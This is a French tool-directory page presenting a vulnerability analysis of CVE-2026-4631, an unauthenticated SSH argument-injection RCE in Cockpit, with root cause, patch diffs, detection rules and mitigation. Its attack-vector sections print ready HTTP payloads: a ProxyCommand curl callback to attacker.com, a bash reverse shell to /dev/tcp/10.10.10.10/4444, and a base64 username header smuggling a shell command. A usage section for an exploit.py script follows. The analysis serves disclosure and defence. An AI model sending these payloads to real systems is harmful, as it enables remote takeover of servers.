Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit : Exécution de code à distance non authentifiée via injection d'arguments de ligne de commande SSH | Kitploit
Outils/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit : Exécution de code à distance non authentifiée via injection d'arguments de ligne de commande SSH

Voir le dépôt
146il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-4631 — Analyse du code

Cockpit : Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH

ChampDétail
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SévéritéCritique (CVSS 9.8)
Versions affectéesCockpit 327 – 359
Corrigé dansCockpit 360
CWECWE-78 : Injection de commande système
Authentification requiseNON
Signalé parJelle van der Waa

Table des matières

  1. Présentation de la vulnérabilité
  2. Contexte architectural
  3. Analyse de la cause racine
  4. Code vulnérable — Fichier par fichier
  5. Vecteurs d'attaque
  6. Diagramme de flux de données
  7. Analyse du correctif
  8. Détection
  9. Références

1. Présentation de la vulnérabilité

La fonctionnalité de connexion à distance de Cockpit transmet les noms d'hôte fournis par l'utilisateur (depuis le chemin de l'URL) et les noms d'utilisateur (depuis l'en-tête Authorization: Basic) directement au binaire OpenSSH ssh sans aucune validation ni assainissement.

Un attaquant non authentifié ayant un accès réseau au port 9090 peut élaborer une seule requête HTTP qui :

  • Injecte des options SSH arbitraires via le champ nom d'hôte (-oProxyCommand=<cmd>)
  • Injecte des commandes shell via le champ nom d'utilisateur en exploitant l'expansion du jeton %r de SSH

Les deux points d'injection se déclenchent avant la fin de la vérification des identifiants, ce qui signifie qu'aucune connexion valide n'est requise.


2. Contexte architectural

Flux de connexion à distance normal

Auth-flow

Ce qui a changé dans la version 327

Avant la version 327, Cockpit utilisait un binaire C dédié appelé cockpit-ssh (basé sur libssh) pour les connexions à distance. À partir de la version 327, celui-ci a été remplacé par :

root@kitploit:~
python3 -m cockpit.beiboot

qui invoque le client OpenSSH ssh du système. Ce changement a introduit la vulnérabilité car le nouveau chemin de code transmet des valeurs contrôlées par l'utilisateur directement à ssh sans assainissement.


3. Analyse de la cause racine

Problème 1 — Absence de séparateur -- avant le nom d'hôte

Le client SSH interprète les arguments commençant par - comme des options, et non comme un nom d'hôte, à moins qu'un séparateur -- ne les précède. Sans --, tout nom d'hôte commençant par - est analysé comme un drapeau SSH.

Construction vulnérable :

root@kitploit:~
ssh [options] <nom-hôte> <commande-distance>

Construction sûre :

root@kitploit:~
ssh [options] -- <nom-hôte> <commande-distance>

Problème 2 — Absence de validation des entrées

Ni cockpit-ws (code C) ni cockpit.beiboot (code Python) ne valident ni n'assainissent :

  • Le nom d'hôte extrait du chemin de l'URL
  • Le nom d'utilisateur extrait de l'en-tête Authorization: Basic

Problème 3 — Bug Python argparse (CPython #66623)

Un bug CPython connu fait que argparse gère mal les arguments commençant par - qui contiennent également des espaces, les traitant comme des arguments positionnels plutôt que comme des drapeaux. Cela permet à un nom d'hôte -oProxyCommand=commande malveillante de traverser l'analyse des arguments Python et d'atteindre ssh comme une option.


4. Code vulnérable — Fichier par fichier

4.1 src/cockpit/beiboot.py — Point d'injection principal

C'est le fichier le plus critique. La fonction via_ssh() construit la liste d'arguments de la commande SSH.

Code vulnérable (avant correctif)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Construire une commande ssh pour exécuter `cmd` sur `dest`."""

    # Analyser le port optionnel depuis dest (ex. "hôte:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Supprimer les crochets IPv6
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNÉRABLE : Pas de '--' avant l'hôte
        # Si host = "-oProxyCommand=evil", ssh le traite comme une option
        destination = ['-p', port, host]

    else:
        #  VULNÉRABLE : Entrée brute de l'attaquant transmise directement à ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

À quoi ressemble l'invocation SSH résultante

Avec dest = "-oProxyCommand=curl http://attacker.com/id" :

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← option cockpit
arg2: -oProxyCommand=curl http://...   ←  ANALYSÉE COMME OPTION SSH (pas un hôte)
arg3: python3 -ic '# cockpit-bridge'   ← devient le "nom d'hôte" → déclenche ProxyCommand

Code corrigé (version 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  CORRIGÉ : '--' force tout ce qui suit à être positionnel
        destination = ['-p', port, '--', host]

    else:
        #  CORRIGÉ : séparateur '--' ajouté
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Couche C : Extraction du nom d'hôte

Ce fichier C gère l'analyse initiale de la requête HTTP et lance le processus beiboot.

Extraction du nom d'hôte depuis l'URL (sans validation)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extrait tout ce qui suit "cockpit+=" du chemin de l'URL
    //  Aucune validation des caractères — tirets, caractères spéciaux autorisés
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

Le nom d'hôte retourné est transmis directement comme argument lors du lancement de beiboot :

root@kitploit:~
// cockpit_ws_ssh_program est le modèle de commande de lancement
//  VULNÉRABLE : nom d'hôte ajouté sans assainissement
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        Pas de '--' final signifie que le nom d'hôte peut être
//                        analysé comme un drapeau par argparse de Python (CPython #66623)

Corrigé dans la version 360

root@kitploit:~
//  CORRIGÉ : '--' final garantit que le nom d'hôte est toujours positionnel
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Extraction du nom d'utilisateur depuis l'en-tête Authorization (sans validation)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Décode Authorization: Basic base64(utilisateur:motdepasse)
        //  Aucune validation de 'user' — points-virgules, caractères spéciaux autorisés
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' est transmis dans les identifiants et finalement à 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  non assaini
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — Troisième point d'injection

La bibliothèque ferny incluse (utilisée pour l'interaction SSH) présente la même omission de -- dans son appel de sous-processus.

Code vulnérable (avant correctif)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE n'est pas généralement disponible, donc utiliser setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNÉRABLE : chemin codé en dur + pas de '--' avant la destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

Code corrigé (version 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  CORRIGÉ : recherche PATH au lieu du chemin codé en dur + '--' ajouté
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — Chemin de déploiement en conteneur

Ce script est la commande d'authentification utilisée dans les déploiements Cockpit basés sur Docker/conteneurs.

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Extraire l'hôte de l'environnement
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNÉRABLE : même cause racine — hôte transmis non assaini à beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

C'est un point d'entrée séparé du chemin principal beiboot.py, ce qui signifie que les déploiements en conteneur de Cockpit sont indépendamment vulnérables même si le chemin de code principal est corrigé.


5. Vecteurs d'attaque

Vecteur 1 — Nom d'hôte → Injection ProxyCommand

Condition préalable : OpenSSH < 9.6 sur l'hôte Cockpit (OpenSSH 9.6 a introduit une validation précoce du nom d'hôte qui bloque les métacaractères shell).

Requête HTTP :

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMANDE>/login HTTP/1.1
Host: <cible>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

Authorization décodé : invalid:invalid — n'importe quelle valeur fonctionne.

Comment cela fonctionne :

  1. cockpit-ws extrait -oProxyCommand=<COMMANDE> du chemin de l'URL comme "nom d'hôte"
  2. via_ssh() de beiboot construit : ssh -oProxyCommand=<COMMANDE> python3 -ic '# cockpit-bridge'
  3. SSH analyse -oProxyCommand=<COMMANDE> comme une option (pas un hôte)
  4. SSH utilise python3 -ic '# cockpit-bridge' comme nom d'hôte
  5. SSH exécute <COMMANDE> comme ProxyCommand lors de la connexion à ce "nom d'hôte"
  6. <COMMANDE> s'exécute comme l'utilisateur du processus cockpit-ws

Exemple — Rappel OOB :

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

ProxyCommand décodé : curl http://attacker.com/id``

Exemple — Shell inversé :

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

ProxyCommand décodé : bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


Vecteur 2 — Nom d'utilisateur → Injection de jeton %r

Condition préalable : Le ssh_config de la cible contient une directive Match exec utilisant le jeton %r (nom d'utilisateur distant).

Exemple de ssh_config vulnérable :

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

Requête HTTP :

root@kitploit:~
GET /cockpit+=hôte-légitime/login HTTP/1.1
Host: <cible>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

Authorization décodé : x; touch /tmp/pwned; #:invalid

Nom d'utilisateur extrait : x; touch /tmp/pwned; #

Comment cela fonctionne :

  1. SSH développe %r avec le nom d'utilisateur avant d'exécuter la commande Match exec
  2. Le shell reçoit : /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. Le shell interprète les points-virgules : exécute touch /tmp/pwned, puis ignore le reste
  4. SSH rejette ensuite le format du nom d'utilisateur — mais la commande a déjà été exécutée

6. Diagramme de flux de données

Auth-bypass


7. Analyse du correctif

Le correctif est minimal — ajout de -- (le séparateur POSIX de fin d'options) avant l'argument de destination à chaque endroit où SSH est invoqué.

Correctif 1 — src/cockpit/beiboot.py (commit 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

Correctif 2 — src/ws/cockpitauth.c (commit 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Correctif 3 — vendor/ferny/src/ferny/session.py (commit 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

Pourquoi -- corrige le problème

Le jeton -- indique aux analyseurs d'arguments (à la fois argparse de Python et l'analyseur d'options d'OpenSSH) que tous les jetons suivants sont des arguments positionnels, et non des options. Après --, une valeur comme -oProxyCommand=evil est traitée comme une chaîne de nom d'hôte littérale, que SSH rejette ensuite comme invalide — elle n'exécute jamais rien.


8. Détection

Détection au niveau réseau

Recherchez les requêtes HTTP vers le point de terminaison de connexion de Cockpit où le composant de chemin contient une syntaxe d'option SSH :

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Surveillez spécifiquement :

  • -oProxyCommand= dans le chemin de l'URL (Vecteur 1)
  • Les points-virgules dans la valeur décodée de Authorization: Basic (Vecteur 2)

Détection par journaux (journald)

root@kitploit:~
# Vérifier le lancement de beiboot avec des arguments suspects
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Vérifier les invocations SSH depuis l'utilisateur cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"

Vérification de version

root@kitploit:~
# Vérifier si la version installée est vulnérable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnérable si la version est entre 327 et 359 inclus

rpm -q cockpit-ws
# La même vérification de version s'applique

9. Vecteurs d'attaque

Scanner une cible unique

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Injection de nom d'utilisateur

Scanner plusieurs cibles depuis un fichier

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Injection de nom d'utilisateur

Détection via OOB

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Injection de nom d'utilisateur

Vecteur d'attaque 1 — Nom d'utilisateur → Injection de jeton %r

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Injection de nom d'utilisateur

Atténuation (si le correctif n'est pas immédiat)

Ajoutez à /etc/cockpit/cockpit.conf :

root@kitploit:~
[WebService]
LoginTo = false

Cela désactive entièrement la fonctionnalité de connexion à distance, empêchant le chemin de code beiboot d'être déclenché.


10. Références

RessourceURL
Divulgation OSS-Securityhttps://www.openwall.com/lists/oss-security/2026/04/10/5
Avis de sécurité GitHubhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Problème Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
Commit de correctif (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Commit de correctif (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Bug argparse CPythonhttps://github.com/python/cpython/issues/66623
Validation du nom d'hôte OpenSSH 9.6https://github.com/openssh/openssh-portable/commit/7ef3787
Télécharger l’outil